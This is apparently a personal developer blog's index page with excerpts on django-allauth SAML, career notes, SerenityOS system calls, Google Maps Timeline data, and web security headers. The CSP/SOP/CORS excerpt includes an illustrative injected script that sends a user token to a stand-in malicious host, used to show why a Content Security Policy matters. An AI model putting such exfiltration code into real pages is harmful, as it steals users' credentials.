Skip to main content


SAML 2 with django-allauth

Django-allauth got SAMLv2 support last August. It has been and continues to be an exceptionally complete package for all authentication-related things. SAML in 2024? Sure, it is OAuth or something more modern you would usually want, but as we all know, we only sometimes have that choice. In this post, I will explore how to integrate customer users into a SaaS product using SAML. The official documentation covers the installation part. It also has an example of configuring it in the settings file. Alternatively, the settings can be stored in the DB. Often, SAML is used to integrate all users (and roles) from specific organizations. So, if a customer, say, Acme, wants to start using our SaaS product, all their user information often uses the same integration. In this case, Acme wants to use SAML. Let's slap the configuration to the DB. Here is a screenshot of an example config, viewed through the Django admin. Their identity provider could be anything, and I have filled in the setti
Recent posts


It was a year of wrapping up a major project I've been working on for several years. Nothing is, of course, ever truly finished in software, so "fully released" is maybe a better choice of words. In 2023, I was also part of starting a new, presumably soon-to-be megaproject. This led to me switching jobs. See this tweet My new employer is an early-stage startup. I have never been on one, so I wanted to know what that is like. We are a close-knit team, quite different from the 100+ member projects I began my career with. Before fully committing to the new one, I juggled two jobs for six months. I was a (primarily) mobile developer by day and transformed into a web developer by night (actually, I did most of the coding on weekends). My first assignment was related to setting up the frontend, which I ended up doing with NextJS + Tailwind + shadcn/ui combo.  My working days have changed dramatically. Earlier in the year, I worked on a reasonably stable and mature organization

Motivated Developers Do Valuable Things (Mostly)

I have a provocative claim that people do what they want in a given software organization and then play the game of scrum or some similar established process. A more nuanced way of putting that is that we (developers) are incredibly easy to sidetrack from the commonly agreed "most important TODO items." Sure, we follow the abstract, larger vision of a given product, but the more granular the level, the more variance there is in people following the predetermined issue list. When it is written or said out, all that does not seem that provocative. It is actually written in agile process documentation, but not in those words. Agile process talks about "requirement volatility" which can be seen as a similar thing I am talking about. Given most employees do what they want, how do organizations keep on top of that? Now, for what might seem like a continuation of stating the obvious: meetings and issue trackers are vital tools for monitoring team activities. Motivated indi

Second job

I've taken a hiatus from blogging for the past few months, partially due to laziness but mainly due to the start of my second job. Why take on more work? As a well-compensated developer, I could live comfortably on a single income, could I? Money was not the prime mover but rather the personal development path. Although I can tinker with cool technologies with professional colleagues in my day job, I can't shake the feeling that I may have become too comfortable. There's nothing inherently wrong with being in a comfortable position, but that's not where I'm meant to be right now. I am well aware of the dangers of taking on more work with deadlines, meetings, and time pressures—the typical catalysts of burnout. Therefore, I must let go of some responsibilities. Writing brings me joy, but the preparation involved in preparing technical blog posts (admittedly, there have been few recently) can overheat my mental engine. I'm not advocating for or against voluntaril

My SerenityOS presentation at a local tech meetup

I gave a presentation about SerenityOS, and system calls at a local tech meetup last week. It took about 20 hours to prepare for the presentation. The original plan was to discuss also subjects other than system calls, but I quickly realized I ought to shave off most of those. KISS, you know, better to focus on one thing.  I needed to dive deep into the nitty-gritty details of how system calls work in Linux. I had to spend some time refreshing my memory by re-reading the Linux Insides book , just to make sure I got the comparison right between SerenityOS syscalls and Linux kernel syscalls. I took a good look at the sysinfo system call Linux kernel code and peeked at its syscall table. It was some intense stuff! When I started preparing the presentation, Serenity still supported i686 (32-bit Intel) CPU architecture and the system calls used the interrupt-based invocation. That changed just in time for my talk, which was fantastic for my presentation since fast system calls are easier t

Spying myself through the lense of Google Maps Timeline data

I took an export of my Google Maps Timeline data and discovered it to be a treasure trove of information. I was initially only interested in seeing how often I visit the local boulder gym, but I found myself soon digging into more such details. The data consist of activities and place visits. An activity looks like this: You can peek through the internals in a way since you can see which options for a given activity Google algorithms have considered. A place visit, on the other hand, is: As you can see, the data contains not just the place you can see from Maps you have visited but actually the metadata and the confidence scores of where Google thinks you have been. Using the dataset, it is pretty easy to find out which locations you have visited and how long you have stayed. I co-authored with ChatGPT this simple script that outputs how many hours and times you have visited a given place.

CSP, SOP, CORS, which one are you talking about?

Many blog posts and articles explain which types of attacks the same-origin policy guards against (term usually mixed with CORS). The tl;dr version is that it offers limited protection and is no silver bullet. I'm not going into all the details here, but I find myself writing a blog post to remind me how to harden client-side web applications.  You actually need to spend time configuring the Content Security Policy. It offers an added layer of protection but is quite a pain to get right.  Here is an example. Say you have a vulnerability in your web application that allows arbitrary script execution. The attacker manages to embed this script into your frontend. <script> fetch('https://mailicioussite.somewhere/?yourtoken=token'); window.location.href = 'https://mailicioussite.somewhere/?yourtoken=token'); </script> The same-origin policy does not help since the GET request goes through to the malicious site. A decent CSP policy could prevent both the fetc